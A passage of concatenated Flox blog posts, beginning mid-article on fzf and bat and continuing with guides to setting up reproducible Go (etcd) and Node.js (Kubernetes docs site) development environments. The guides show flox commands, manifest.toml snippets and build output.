etcd-5c55bdbcf-ssh66 1039 kubectl exec -it etcd-5c55bdbcf-ssh66 -- /bin/sh 1040 kubectl get pods 1041 kubectl logs debug-etcd 1042 kubectl describe pod debug-etcd 1051 ko resolve -f deployment.yaml | kubectl apply -f - 1054 kubectl delete pods --all --all-namespaces 493/493 +S ────────────────────────────────────────────────────────────── > kubectl ``` Even better, fzf also sets up some shortcuts that use `**[Tab]` as a trigger for the same. Try `cd **[Tab]`, or if you want to get to something you know is under your `$HOME` directory, try `cd ~/**[Tab]`. Now try `ssh **[Tab]`... magical! There's lots of other shortcuts and stuff to play with as it's very configurable. With that kind of searching power, you may want to increase the size of your command history in your bash or zsh config file. I use these values: ``` HISTSIZE = "5000" HISTFILESIZE = "8000" ``` Fzf just has a ton of functionality, including the ability to make multiple selections! Try running `fzf -m` and then scroll through the list hitting `[Tab]` to select multiple files from the list. Or try this with `git add $(fzf -m)` the next time you have to find just those two files you need to commit on their own. There's even a preview window you can invoke with `fzf --preview="cat {}"`! I mentioned above that this article is a two-fer. So let's bring in our PTBNL, another really fun packaged called `bat`, to make that preview window even prettier! `Bat` is a colorized replacement for `cat`... or a “cat clone with wings,” as the project [describes itself](https://github.com/sharkdp/bat). ``` flox install bat && fzf --preview="bat --color=always {}” ``` You can try it out by searching for and previewing source code, markdown, yaml, and other file types! All that's a lot to type, but if you like what you see, check out the [fzf project page](https://junegunn.github.io/fzf/) for all kinds of ways to integrate fzf into various workflows! Happy hacking. Title: Using Flox to Create Portable, Reproducible Go Environments Source: https://flox.dev/blog/using-flox-to-create-portable-reproducible-go-environments/ Date: 2024-10-10 Category: guide # Using Flox to Create Portable, Reproducible Go Environments Flox’s superpower is reproducibility, so the Go dev environments you create on your Linux laptop will just work ... everywhere Flox makes it easy to create portable, reproducible Golang (Go) dev environments that run the same way on Linux, macOS, and Windows (with WSL2), across both ARM and x86 architectures. And if you've got an existing Go project with a `go.mod` file, it's just as easy to use it with Flox. You won’t even have to do much lifting, because Flox automatically installs Go for you! This article provides a quick-start overview of how to create [Flox environments](https://flox.dev/docs/concepts/environments/) for new Go projects, and showcases how Flox integrates with existing Go projects, too. It also explores the benefits of using Flox to create, share, and manage your Go dev environments. Beyond portability and reproducibility, Flox supports all languages and toolchains, which makes Flox dev environments ideal for Go projects involving C libraries, JavaScript runtimes, Python, and other languages. And unlike containers, Flox environments give you transparent access to all your local resources—including aliases, environment variables, tools, and editors—in addition to strict deterministic safeguards, so your Go builds work consistently over time. Sound intriguing? Let’s get started! ## Kickstarting a New Go Project with Flox So you're kicking off a new Go project and you want to use Flox. Smart choice! Flox’s superpower is reproducibility, so the Go dev environments you create on your Linux laptop will Just Work on the macOS and Windows (with WSL2) laptops your teammates use to build locally. And these same Flox environments will also Just Work when you (or your teammates) push them to CI and production. Best of all, getting started with Flox is super simple! First, just create and/or cd into your project directory and type **`flox init`** to [initialize a new Flox dev environment](https://flox.dev/docs/tutorials/creating-environments/). ``` daedalus@askesis:~/dev$ mkdir geomys && cd geomys && flox init ✨ Created environment 'geomys' (x86_64-linux) Next: $ flox search <- Search for a package $ flox install <- Install a package into an environment $ flox activate <- Enter the environment $ flox edit <- Add environment variables and shell hooks ``` This _is_ a Go project, so you need to get Go. No problem! You can just grab it from the Flox Catalog: ``` daedalus@askesis:~/dev/geomys$ flox search go go Go Programming language ... ``` The cool thing about Go is that it’s generally backward-compatible from version to version, so you could _probably_ just **`flox install`** the latest. But for argument’s sake, let’s say you need a specific version of Go: v1.21.7. Does the Flox Catalog have that? Let’s find out! You can use **`flox show`** to see which `go` packages you can get from the Flox Catalog: ``` daedalus@askesis:~/dev/geomys$ flox show go go - Go Programming language go@1.22.7 go@1.22.6 go@1.22.5 go@1.22.3 go@1.22.2 go@1.22.1 go@1.21.7 go@1.21.6 go@1.21.5 go@1.21.4 go@1.21.3 ``` The list above is truncated because the Flox Catalog has more than 40 versions of the `go` package, stretching back to v1.15.6 (released almost four years ago). But let’s just go ahead and **`flox install`** v1.21.7: ``` daedalus@askesis:~/dev/geomys$ flox install go@1.21.7 ✅ 'go' installed to environment 'geomys' ``` Another great thing about Go is that it’s mostly self-contained. Once you `go mod init` to kick off a project, you can get much of what you need from Go’s standard library, and use `go mod tidy` to grab the rest. But if you’re like most Go programmers, you’re probably going to want to pre-build some basic Go tooling into your dev environment, perhaps even pinning these to specific versions to ensure reproducibility and determinism. You know, stuff like [golangci-lint](https://github.com/golangci/golangci-lint), [air](https://github.com/air-verse/air), [goreleaser](https://github.com/goreleaser/goreleaser), or maybe even [gox](https://github.com/mitchellh/gox). Guess what? You can get all this stuff from the Flox Catalog, too! ``` daedalus@askesis:~/dev/geomys$ flox install air gox golangci-lint goreleaser ✅ 'air' installed to environment 'geomys' ✅ 'gox' installed to environment 'geomys' ✅ 'golangci-lint' installed to environment 'geomys' ✅ 'goreleaser' installed to environment 'geomys' ``` You can run **`flox list`** to see which versions of these packages Flox installed in the environment... ``` daedalus@askesis:~/dev/geomys$ flox list air: air (1.49.0) go: go (1.21.7) golangci-lint: golangci-lint (1.56.2) goreleaser: goreleaser (1.24.0) gox: gox (1.0.1) ``` ...and run **`flox edit`** to view or modify the contents of [manifest.toml](https://flox.dev/blog/mastering-hooks-and-profiles-for-reproducible-flox-environments/), the declarative manifest that defines software package versions, environment variables, services, automation logic, and anything else that’s exposed via a Flox environment. This file lives inside the `.flox` directory nested inside every environment. (You can also modify it using your preferred editor.) Here’s the `[install]` section of this Flox environment’s `manifest.toml`: ``` [install] air.pkg-path = “air” go.pkg-path = "go" go.version = "1.21.7" gox.pkg-path = "gox" golangci-lint.pkg-path = "golangci-lint" goreleaser.pkg-path = "goreleaser" ``` You can use the `.version =` syntax to pin specific package versions, like v1.21.7 of the `go` package. For instance, if you want to pin `goreleaser` to v1.24.0, you would just add the following line in the manifest's `[install]` section: ``` goreleaser.version = “1.24.0” ``` That’s it! Flox is also a genius at [resolving package dependencies](https://flox.dev/blog/conflict-resolution-made-easy-with-package-groups-in-flox/), and gives you [simple, declarative methods](https://flox.dev/blog/hassle-free-cross-platform-dev-with-flox/) for installing _just_ the right packages. Now that you’ve got your environment squared away, it’s time to fire it up with **`flox activate`**: ``` daedalus@askesis:~/dev/geomys$ flox activate ✅ You are now using the environment 'geomys'. To stop using this environment, type 'exit' flox [geomys] daedalus@askesis:~/dev/geomys$ go version go version go1.21.7 linux/amd64 ``` Simple, right? Flox isn’t a replacement for your preferred Go workflow, or for configuration artifacts like `go.mod` files, which `go mod init` creates to define your project’s path and dependencies. Instead, it simplifies, complements, and accelerates your Go dev workflow. You can use Flox to create a portable, reproducible Go dev environment that runs anywhere. An environment your team can use to build locally—with standard, built-in versions of essential Go tools, starting with the Go compiler and toolchain—push to CI, and deploy in prod. Flox also gives you a simple, declarative way to define environment variables, settings, services, and overrides for your Go dev environment, which makes it easy to customize environments for each project. Finally, Flox is a slam-dunk for enabling hybrid projects that depend on tools and libraries from _outside_ Go’s ecosystem. ## Integrating Flox with Existing Go Projects But what if you want to use Flox with an _existing_ Go project—like a GitHub repo that defines its package dependencies using a `go.mod` file? No problem! Whether you're just starting from scratch or you need to integrate with an existing project, Flox is _the_ first-class solution for creating portable, reproducible, declarative Go dev environments that Just Work … anywhere. Further reading: [Floxifying a Project Repo](https://flox.dev/blog/floxifying-a-project-repo-part-1/) Let’s use [etcd](https://github.com/etcd-io/etcd), the [Cloud Native Computing Foundation’s](https://www.cncf.io/) distributed key-value store, as an example project. You can [clone etcd](https://etcd.io/docs/v3.5/install/) from GitHub and build it in a Flox environment without breaking a sweat. So let’s do that! First, we’ll clone the repo: ``` daedalus@askesis:~/dev$ git clone -b v3.5.16 https://github.com/etcd-io/etcd.git && cd etcd ``` Then we’ll initialize a new Flox environment in the project directory: ``` daedalus@askesis:~/dev/etcd$ flox init Flox detected a go.mod file in the current directory. Go projects typically need: * Go * A shell hook to apply environment variables ! Would you like Flox to apply the standard Go environment? You can always revisit the environment's declaration with 'flox edit' Yes No > Show environment manifest [Use '--auto-setup' to apply Flox recommendations in the future.] ``` Interesting! Flox detected a `go.mod` file, so it automatically prompted us to “apply the standard Go environment." The first thing to note is that you can Just Say "No" to this prompt, if you prefer to `go mod init` and bootstrap your Go dev environment yourself. The second thing is that you can select “Show environment manifest” to see what, exactly, Flox proposes to do: ``` [install] go.pkg-path = "go" go.version = "^1.22" [hook] on-activate = ''' # Point GOENV to Flox environment cache export GOENV="$FLOX_ENV_CACHE/goenv" # Install Go dependencies go get . ''' ``` The text above shows the pending contents of our Floxified etcd environment’s `manifest.toml`. In this case, Flox parsed the `go.mod` file in the etcd project directory, identified the required `go` package, and automatically added it to Flox’s software manifest. The caret (`^`) means Flox will install any version of Go _equal to or greater than_ v1.22 but _less than_ v2.0 (which doesn’t yet actually exist). This is basic [SemVer notation](https://semver.org/), using SemVer's caret range operator, or `^`. You can use other SemVer operators, too. Separately, the `[hook]` section defines activation hooks that run whenever you **`flox activate`** the environment, setting the required variables and installing dependencies defined in the project's `go.mod` file. You can click "Yes" to accept these changes, or "No" if you prefer to implement some or all of this stuff yourself. That’s basically it. We’ve got everything we need to build and run our portable, reproducible etcd dev environment. So let's run **`flox activate`** and do that! ``` daedalus@askesis:~/dev/etcd$ flox activate ✅ You are now using the environment 'etcd'. To stop using this environment, type 'exit' go: downloading github.com/json-iterator/go v1.1.11 ... ``` The first time we activate this environment, the logic in `[hook]` runs `go get .` to fetch etcd's 50+ required dependencies. The code block above shows a truncated version of this output. This happens only once, unless we add fresh dependencies to etcd's `go.mod` file. OK. Now that we’ve activated the Flox environment and installed all our required dependencies, we’re ready to build etcd. ``` flox [etcd] daedalus@askesis:~/dev/etcd$ ./build.sh % (cd server && 'env' 'CGO_ENABLED=0' 'GO_BUILD_FLAGS=' 'GOOS=linux' 'GOARCH=amd64' 'go' 'build' '-trimpath' '-installsuffix=cgo' '-ldflags=-X=go.etcd.io/etcd/api/v3/version.GitSHA=f20bbadd4' '-o=../bin/etcd' '.') % (cd etcdutl && 'env' 'GO_BUILD_FLAGS=' 'CGO_ENABLED=0' 'GO_BUILD_FLAGS=' 'GOOS=linux' 'GOARCH=amd64' 'go' 'build' '-trimpath' '-installsuffix=cgo' '-ldflags=-X=go.etcd.io/etcd/api/v3/version.GitSHA=f20bbadd4' '-o=../bin/etcdutl' '.') % (cd etcdctl && 'env' 'GO_BUILD_FLAGS=' 'CGO_ENABLED=0' 'GO_BUILD_FLAGS=' 'GOOS=linux' 'GOARCH=amd64' 'go' 'build' '-trimpath' '-installsuffix=cgo' '-ldflags=-X=go.etcd.io/etcd/api/v3/version.GitSHA=f20bbadd4' '-o=../bin/etcdctl' '.') ``` Excellent. The etcd build completed successfully! But let's not start celebrating just yet: we still have some set up work to do. For one thing, we need to set a `PATH` env var for etcd to work properly. The project docs tell us to just export this via the command line, or to add it to `.bashrc`, `.zshrc`, etc., but we can do better than this! Let’s define it as part of our Flox environment; that way it’s preconfigured for _anyone_ we share it with. Ordinarily, we’d define this in the `[vars]` section of `manifest.toml`, but let’s put it in `[hook]`, along with our existing Go vars. (Note: `[vars]` doesn’t support having one variable referencing another; `[hook]` does.) The `[hook]` section in our etcd environment’s `manifest.toml` now looks like this: ``` [hook] on-activate = ''' # Autogenerated by Flox export PATH="$PATH:`pwd`/bin" # Point GOENV to Flox environment cache export GOENV="$FLOX_ENV_CACHE/goenv" # Install Go dependencies go get . # End autogenerated by Flox ``` The next thing we need to do is to configure etcd to run as a service. Flox's [service management](https://flox.dev/blog/flox-1.3-simplified-service-management-with-flox) capabilities make this simple! ``` [services.etcd] command = "etcd --name etcd-node --data-dir ./etcd-data --listen-client-urls http://0.0.0.0:2379 --advertise-client-urls http://127.0.0.1:2379 --listen-peer-urls http://0.0.0.0:2380 --initial-advertise-peer-urls http://127.0.0.1:2380 --initial-cluster etcd-node=http://127.0.0.1:2380 --initial-cluster-state new" ``` We use `[services.]` to define each service, using the `command =` syntax to configure a start-up command and any required parameters. We _could_ start the `etcd` bin with `command = “etcd”`, but it probably makes sense to define a custom persistence directory (`--data-dir ./etcd-data`), as well as specify other user-customizable parameters, like listening and advertising addresses. This done, we can either run `etcd` manually, type **`flox services start`**, or exit our environment and re-start it using **`flox activate -s`**. Let’s exit and restart: ``` daedalus@askesis:~/dev/etcd$ flox activate -s ✅ You are now using the environment 'etcd'. To stop using this environment, type 'exit' flox [etcd] daedalus@askesis:~/dev/etcd$ ``` It sure looks like etcd started up. But let’s confirm: ``` flox [etcd] daedalus@askesis:~/dev/etcd$ flox services status NAME STATUS PID etcd Running 476940 ``` Success! The Flox Catalog has millions of software package and version combinations, which comes in handy when you’re working on a project and need just the right tool. For example, if you were building an etcd container for deployment on Kubernetes (K8s), you could **`flox install`** [ko](https://github.com/ko-build/ko), [kind](https://github.com/kubernetes-sigs/kind), and [kubectl](https://github.com/kubernetes/kubectl) to run and test your container on [a local K8s cluster](https://flox.dev/blog/conflict-resolution-made-easy-with-package-groups-in-flox/). Once done, you’d push it to your container registry, where it could be pulled by your Kubernetes clusters in CI and prod. With Flox, you could easily bake this workflow into a reproducible dev environment that can be used by your whole team! ## Flox Lets You Pass Go Faster Flox makes it trivially easy to create and share portable, reproducible Go development environments. When teams integrate Flox into their workflows, they accelerate the rate at which they build and ship software. Flox and the Flox Catalog give them just one place to get what they need, along with powerful declarative tools for configuring and managing their Go environments. Plus, Flox environments run _in the local system context_, so teams get transparent access to the files, tools, and settings on their machines. Best of all, a Flox Go environment created using an ARM-based MacBook Pro runs without a hiccup on the Windows (with WSL2) and Linux laptops used by others on the team. Even better, this environment runs the same when you push it to CI or deploy it to prod! It's simple to get started using Flox. In [less than five minutes](https://flox.dev/docs/), you can set up a Go dev environment on your laptop. To share your environment, just run **`git push`** or **`flox push`** (to push to [FloxHub](https://flox.dev/blog/write-once-take-anywhere-home-away-from-home-with-floxhub/)). That's all it takes! Your teammates can **`git clone`** or **`flox pull`** your Go environment to run it locally. [Download](https://flox.dev/docs/install-flox/) Flox today and transform your Go workflow! ## Flox & Go FAQs **How does Flox ensure the reproducibility of Go environments across different platforms?** Flox ensures reproducibility by utilizing Nix under the hood, creating declarative and immutable development environments. It captures all dependencies, package versions, and configurations in a single manifest file, guaranteeing that your Go environment functions identically on Linux, macOS, and Windows with WSL2, regardless of architecture. This consistent setup supports reliable Go builds from initial development through to CI/CD pipelines. **What advantages does Flox offer for Go development compared to traditional container-based workflows?** Unlike container solutions, Flox environments provide transparent access to your local system's resources, including aliases, environment variables, and preferred editors, without imposing isolation overhead. Flox also optimizes for faster iteration by allowing incremental additions of new packages rather than requiring complete rebuilds of layers. **How does Flox facilitate sharing Go development environments within a team?** Flox environments are designed for portability, making them easy to share across development teams through methods like git push or flox push to FloxHub. Team members can then git clone or flox pull the environment, ensuring everyone works with an identical Go toolchain and set of dependencies. This capability significantly simplifies new developer onboarding and maintains consistency across geographically dispersed or large development teams. **Can Flox manage specific Go versions and integrate with existing Go project dependency files?** Yes, Flox offers robust support for managing specific Go versions, allowing developers to precisely pin desired versions from its comprehensive catalog. For existing Go projects, Flox automatically detects go.mod files upon initialization and can automatically configure a standard Go environment, including activation hooks to manage project-specific dependencies. This flexibility ensures seamless integration with diverse Go project requirements and established workflows. Title: Create Portable, Reproducible Node.js Environments With Flox Source: https://flox.dev/blog/using-flox-to-create-portable-reproducible-nodejs-environments/ Date: 2024-10-07 Category: guide # Create Portable, Reproducible Node.js Environments With Flox Build consistent Node.js environments across Linux, macOS, and Windows. Flox uses declarative manifests to ensure identical setups for all developers. Flox makes it easy to create portable, reproducible Node.js environments that run the same way on Linux, macOS, and Windows (with WSL2), across both ARM and x86 architectures. If you've got an existing Node.js project with a `package.json` or a `yarn.lock` file, it's just as easy to use it with Flox. You won’t even have to do much lifting, because Flox automatically installs Node.js for you! This article provides a quick-start overview of [how to create Flox environments](https://flox.dev/docs/tutorials/creating-environments/) for new Node.js projects, and shows how Flox integrates with existing Node.js projects, too. It also explores the benefits of using Flox to create, share, and manage your Node.js build environments. Beyond portability and reproducibility, Flox supports all languages and toolchains, which makes Flox dev environments ideal for Node.js projects involving WebAssembly (WASM), Python, Go, Rust, and other languages. And unlike containers, Flox dev environments give you transparent access to local resources, along with strict deterministic safeguards. **TL;DR** - Run flox init to detect and configure projects. - Install dependencies with flox install and flox activate - Version-control your manifest.toml for team consistency - Skip containers and access local files directly ## How to Kickstart a New Node.js Project with Flox Getting started with Flox is super simple. First, [install Flox using the method of your choice](https://flox.dev/docs/install-flox/install/). Then, you just need to create and/or cd into your project directory and initialize your Flox environment. ``` $ mkdir baby-got-backend && cd baby-got-backend $ flox init ✨ Created environment 'baby-got-backend' (x86_64-linux) Next: $ flox search <- Search for a package $ flox install <- Install a package into an environment $ flox activate <- Enter the environment $ flox edit <- Add environment variables and shell hooks ``` Think of each Flox environment as a self-contained, clean-room ecosystem, ready to be populated with packages, or configured with environment variables, setup and teardown logic, automated actions, and functions. It's like a container, only better, because it runs on your local system, so you enjoy transparent access to all of your files, settings, and resources. To start things off, we need Node.js—but not just any version! Our project requires a version that’s greater than or equal to v20.0. Let's use `flox search` to look for compatible versions of Node.js. ``` $ flox search nodejs nodejs Event-driven I/O framework for the V8 JavaScript engine nodejs_22 Event-driven I/O framework for the V8 JavaScript engine nodejs_21 Event-driven I/O framework for the V8 JavaScript engine nodejs_20 Event-driven I/O framework for the V8 JavaScript engine nodejs_19 Event-driven I/O framework for the V8 JavaScript engine nodejs_18 Event-driven I/O framework for the V8 JavaScript engine nodejs_16 Event-driven I/O framework for the V8 JavaScript engine nodejs_14 Event-driven I/O framework for the V8 JavaScript engine nodejs-slim Event-driven I/O framework for the V8 JavaScript engine nodejs-19_x Event-driven I/O framework for the V8 JavaScript engine Showing 10 of 65 results. Use `flox search nodejs --all` to see the full list. ``` Next, use the `flox show` subcommand to drill down into the `nodejs_20` package: ``` $ flox show nodejs_20 nodejs_20 - Event-driven I/O framework for the V8 JavaScript engine nodejs_20@nodejs-20.17.0 nodejs_20@nodejs-20.16.0 nodejs_20@nodejs-20.15.1 nodejs_20@nodejs-20.14.0 nodejs_20@nodejs-20.12.2 nodejs_20@nodejs-20.11.1 nodejs_20@nodejs-20.11.0 nodejs_20@nodejs-20.10.0 nodejs_20@nodejs-20.9.0 nodejs_20@nodejs-20.8.0 nodejs_20@nodejs-20.6.1 nodejs_20@nodejs-20.5.1 nodejs_20@nodejs-20.5.0 nodejs_20@nodejs-20.3.1 nodejs_20@nodejs-20.2.0 nodejs_20@nodejs-20.1.0 nodejs_20@nodejs-20.0.0 ``` Plenty of options. We'll go with the `nodejs_20` metapackage and then use the `flox list` subcommand to see which version Flox installs for us. ``` $ flox install nodejs_20 ✅ 'nodejs_20' installed to environment 'baby-got-backend' $ flox list nodejs_20: nodejs_20 (nodejs-20.12.2) ``` That'll do nicely. Under its hood, Flox is a genius at [resolving package dependencies](https://flox.dev/blog/hassle-free-cross-platform-dev-with-flox/). It automatically figures out which versions of which packages can coexist in the same environment. And if there’s a conflict—like when two or more packages need the same version of the same library, which they expect to be installed to the same path—Flox gives you [simple, declarative workarounds](https://flox.dev/blog/conflict-resolution-made-easy-with-package-groups-in-flox/). What’s next? We already get `npm` with Flox’s `nodejs_20` package, but what if we prefer to use another package manager, like Yarn. Does Flox have that, too? ``` $ flox search yarn yarn Fast, reliable, and secure dependency management for javascript yarn2nix Convert packages.json and yarn.lock into a Nix expression that downloads all the dependencies yarn-berry Fast, reliable, and secure dependency management yarnBuildHook Run yarn build in buildPhase fetchYarnDeps yarnConfigHook Install nodejs dependencies from an offline yarn cache produced by fetchYarnDeps yarnInstallHook fixup-yarn-lock fixup_yarn_lock nodePackages.yarn Fast, reliable, and secure dependency management for javascript Showing 10 of 36 results. Use `flox search yarn --all` to see the full list. ``` Nice! Flox has both [Yarn Classic](https://classic.yarnpkg.com/en/) and [Berry](https://yarnpkg.com/getting-started/install), the name given to Yarn versions 2.0 and greater. I can use Flox to install either or a completely different package manager like pnpM if desired. Let’s say for the sake of argument that we also want to install [Bun](https://github.com/oven-sh/bun), a hip new alternative to Node.js. Can I get this from Flox too? You bet! ``` $ flox search bun bun Incredibly fast JavaScript runtime, bundler, transpiler and package manager – all in one ``` Whatever you're looking for, the Flox Catalog has much of what you’ll need—including commonly used packages like [electron](https://github.com/electron), [pm2](https://github.com/Unitech/pm2), [parcel](https://github.com/parcel-bundler/parcel), [node-gyp](https://github.com/nodejs/node-gyp), and hundreds of others. Or useful add-ons like [create-react-app](https://github.com/facebook/create-react-app), [mocha](https://github.com/mochajs/mocha), or even [eslint_d](https://github.com/mantoni/eslint_d.js), and more. Let’s say I install all of these into my environment. Here’s what this looks like in our software manifest, [manifest.toml](https://flox.dev/blog/mastering-hooks-and-profiles-for-reproducible-flox-environments), Flox’s declarative environment configuration artifact. This file lives in the `.flox` subdirectory that's nested inside every Flox environment. Instead of installing packages imperatively, as with `flox install nodejs`, we can declaratively define them under `[install]`, even specifying versions: ``` [install] nodejs_20.pkg-path = "nodejs_20" nodejs_20.version = "nodejs-20.12.2" pnpm.pkg-path = "pnpm" node-gyp.pkg-path = "node-gyp" node-gyp.pkg-group = "node-gyp" pm2.pkg-path = "pm2" mocha.pkg-path = "nodePackages.mocha" electron.pkg-path = "electron" parcel.pkg-path = "nodePackages.parcel" eslint_d.pkg-path = "eslint_d" ``` By adding the line `nodejs_20.version = "nodejs-20.12.2`, we can explicitly define and pin a specific version of Node.js. And we can do this with _any_ package, e.g. first using `flox show ` to figure out which package versions are available in the Flox Catalog. So if we want to use a specific version of the `create-react-app`, for instance, we can just declaratively define it under `[install]`: ``` create-react-app.pkg-path = "nodePackages_latest.create-react-app" create-react-app.version = "5.0.1" ``` Neat, right? As a final step, let's fire up our environment by typing `flox activate`: ``` $ flox activate ✅ You are now using the environment 'baby-got-backend'. To stop using this environment, type 'exit' ``` Now let’s use one of our installed packages (`pm2`) to run a “Hello, World!” example. Offscreen, I’ve created an `index.js` with logic that prints this message to the console. Let’s see if my JavaScript one-liner works. ``` flox [baby-got-backend] daedalus@aisthesis:~/dev/baby-got-backend$ pm2 start index.js --name hello-world ------------- __/\\\\\\\\\\\\\____/\\\\____________/\\\\____/\\\\\\\\\_____ _\/\\\/////////\\\_\/\\\\\\________/\\\\\\__/\\\///////\\\___ _\/\\\_______\/\\\_\/\\\//\\\____/\\\//\\\_\///______\//\\\__ _\/\\\\\\\\\\\\\/__\/\\\\///\\\/\\\/_\/\\\___________/\\\/___ _\/\\\/////////____\/\\\__\///\\\/___\/\\\________/\\\//_____ _\/\\\_____________\/\\\____\///_____\/\\\_____/\\\//________ _\/\\\_____________\/\\\_____________\/\\\___/\\\/___________ _\/\\\_____________\/\\\_____________\/\\\__/\\\\\\\\\\\\\\\_ _\///______________\///______________\///__\///////////////__ Runtime Edition PM2 is a Production Process Manager for Node.js applications with a built-in Load Balancer. Start and Daemonize any application: $ pm2 start app.js Load Balance 4 instances of api.js: $ pm2 start api.js -i 4 Monitor in production: $ pm2 monitor Make pm2 auto-boot at server restart: $ pm2 startup To go further checkout: http://pm2.io/ ------------- [PM2] Spawning PM2 daemon with pm2_home=/home/daedalus/.pm2 [PM2] PM2 Successfully daemonized [PM2] Starting /home/daedalus/dev/baby-got-backend/index.js in fork_mode (1 instance) [PM2] Done. ┌────┬────────────────┬─────────────┬─────────┬─────────┬──────────┬────────┬──────┬───────────┬──────────┬──────────┬──────────┬──────────┐ │ id │ name │ namespace │ version │ mode │ pid │ uptime │ ↺ │ status │ cpu │ mem │ user │ watching │ ├────┼────────────────┼─────────────┼─────────┼─────────┼──────────┼────────┼──────┼───────────┼──────────┼──────────┼──────────┼──────────┤ │ 0 │ hello-world │ default │ N/A │ fork │ 236874 │ 0s │ 0 │ online │ 0% │ 30.7mb │ daedalus │ disabled │ ``` Success! You can use Flox to install core Node.js packages, like the ones above, as well as configure environment variables, settings, and overrides for your project environments. From there, just use your preferred package manager to install project-specific packages. Flox environments are _especially_ useful when you’re working on polyglot project architectures involving multiple programming languages and toolchains. You can get versions of WASM, Python, Go, Rust, C++, and other required dependencies from Flox Catalog, installing software packages optimized both for operating system platforms (Linux and macOS) and chip architectures (x86-64 and ARM). The upshot is that Node.js projects you create on your M1 MacBook will run with native binaries and libraries in x86-64 containers in production! ## How Flox Integrates with a Pre-Existing Node.js Project Flox also effortlessly integrates with _existing_ Node.js projects that already have defined package dependencies using a `package.json` or `yarn.lock` file. Further reading: [Floxifying a Project Repo](https://flox.dev/blog/floxifying-a-project-repo-part-1/) Let’s use the official Kubernetes (K8s) documentation website’s [GitHub repo](https://github.com/kubernetes/website) as an example project. You can clone this project from Github and either spin up a local instance, powered by [Hugo](https://github.com/gohugoio/hugo), or build the whole thing into a container and run it that way. For what it’s worth, the K8s project “strongly recommends” using the latter approach, which it says is more reliably reproducible, but we’ve got Flox, whose superpower is reproducibility ... so why not build locally? ``` $ git clone https://github.com/kubernetes/website && cd ./website $ flox init … Flox can add the following to your environment: * nodejs 20.17.0 with npm bundled * An npm installation hook ! Would you like Flox to apply this suggestion? You can always change the environment's manifest with 'flox edit' > Yes No Show suggested modifications [Use '--auto-setup' to apply Flox recommendations in the future.] ``` This time around, when running `flox init`, Flox automatically detects the `package.json` in the project directory and asks me if I want it to install version 20.17.0 of Node.js. Let’s see what other mods it wants to make. By selecting “Show suggested modifications,” we can preview the entries Flox will create for us in this environment’s `manifest.toml`. ``` [install] nodejs.pkg-path = "nodejs" nodejs.version = "20.17.0" [hook] on-activate = """ # Install nodejs dependencies npm install """ ``` The `[install]` section defines the version of Node.js the Kubernetes documentation website needs to run. The `[hook]` section lets you specify activation hooks and other automations for an environment. Here `npm install` automatically installs the packages (if any) specified in `package.json`. Let’s go ahead and accept these modifications: ``` ! Would you like Flox to apply this suggestion? You can always change the environment's manifest with 'flox edit' > Yes No ``` Next up, the K8s documentation repo showcases Flox’s built-in automations for Go. Detecting a `go.mod` file in the project directory kickstarts a bootstrapping wizard that installs the required `go` package: ``` Flox detected a go.mod file in the current directory. Go projects typically need: * Go * A shell hook to apply environment variables ! Would you like Flox to apply the standard Go environment? You can always revisit the environment's declaration with 'flox edit' Yes No > Show environment manifest ``` Let’s again see what changes Flox wants to make: ``` [install] go.pkg-path = "go" go.version = "^1.22.0" [hook] on-activate = ''' # Point GOENV to Flox environment cache export GOENV="$FLOX_ENV_CACHE/goenv" # Install Go dependencies go get . ''' ``` Nothing unusual here. Let’s accept the modifications and keep going. To build and serve the Kubernetes documentation website locally, we’ve got to install required dependencies, like the `hugo` package. The packages in the Flox Catalog are usually self-describing, so let’s try installing them by name, rather than first `flox search`-ing for them. We already have `npm` and `go`; the only thing missing is `hugo`: ``` $ flox install hugo ✅ 'hugo' installed to environment 'website' ``` Before we activate our environment, let’s just see what the `[install]` section of our software manifest looks like: ``` [install] nodejs.pkg-path = "nodejs" nodejs.version = "20.17.0" go.pkg-path = "go" go.version = "^1.22.0" hugo.pkg-path = "hugo" curl.pkg-path = "curl" ``` Looks good. Now let’s go ahead and activate our Floxified K8s documentation environment! ``` $ flox activate ✅ You are now using the environment 'website'. To stop using this environment, type 'exit' ``` Before firing up our local instance of the K8s documentation website, the install instructions prescribe some prep work, which we’ll do off-screen. This includes running `make module-init` so required submodules (like the `Docsy Hugo` theme) are initialized and available, and running `npm ci` (rather than `npm install`). This done, we can run `make serve` to trigger the makefile target that (**a**) builds the website with Hugo and (**b**) starts the local dev server. Here’s what this looks like running inside a Flox environment: ``` flox [website] daedalus@aisthesis:~/dev/website$ make serve hugo server --buildFuture --environment development Watching for changes in /home/daedalus/dev/website/{archetypes,assets,content,data,layouts,package.json,postcss.config.js,static,themes} Watching for config changes in /home/daedalus/dev/website/hugo.toml, /home/daedalus/dev/website/themes/docsy/config.toml, /home/daedalus/dev/website/go.mod Start building sites … hugo v0.134.3+extended linux/amd64 BuildDate=unknown VendorInfo=nixpkgs WARN deprecated: resources.ToCSS was deprecated in Hugo v0.128.0 and will be removed in a future release. Use css.Sass instead. | EN | BN | ZH-CN | FR | DE | HI | ID | IT | JA | KO | PL | PT-BR | RU | ES | UK | VI -------------------+------+-----+-------+-----+-----+-----+-----+-----+-----+-----+-----+-------+-----+-----+-----+------ Pages | 2216 | 234 | 1816 | 379 | 209 | 130 | 336 | 80 | 563 | 616 | 70 | 360 | 192 | 317 | 90 | 78 Paginator pages | 60 | 0 | 23 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 Non-page files | 725 | 598 | 611 | 84 | 83 | 75 | 80 | 39 | 523 | 86 | 74 | 86 | 80 | 83 | 78 | 75 Static files | 842 | 842 | 842 | 842 | 842 | 842 | 842 | 842 | 842 | 842 | 842 | 842 | 842 | 842 | 842 | 842 Processed images | 14 | 13 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 Aliases | 8 | 1 | 6 | 2 | 1 | 0 | 1 | 1 | 3 | 3 | 0 | 3 | 4 | 2 | 1 | 0 Cleaned | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 Built in 42053 ms Environment: "development" Serving pages from disk Running in Fast Render Mode. For full rebuilds on change: hugo server --disableFastRender Web Server is available at http://localhost:1313/ (bind address 127.0.0.1) Press Ctrl+C to stop ``` It seems like our local instance of the K8s documentation website is up and running. But let’s open it up in a web browser to make sure. Success! All told, Floxifying a repo with a `package.json` file took less than two minutes! ## Flox Takes Node.js Dev to the Next Level Flox makes it trivially easy to create and share portable, reproducible Node.js development environments. Need to compile Rust libraries to WASM for a Node.js app that transforms and encrypts data? No problem! Just add `rustc`, `cargo`, `clippy`, 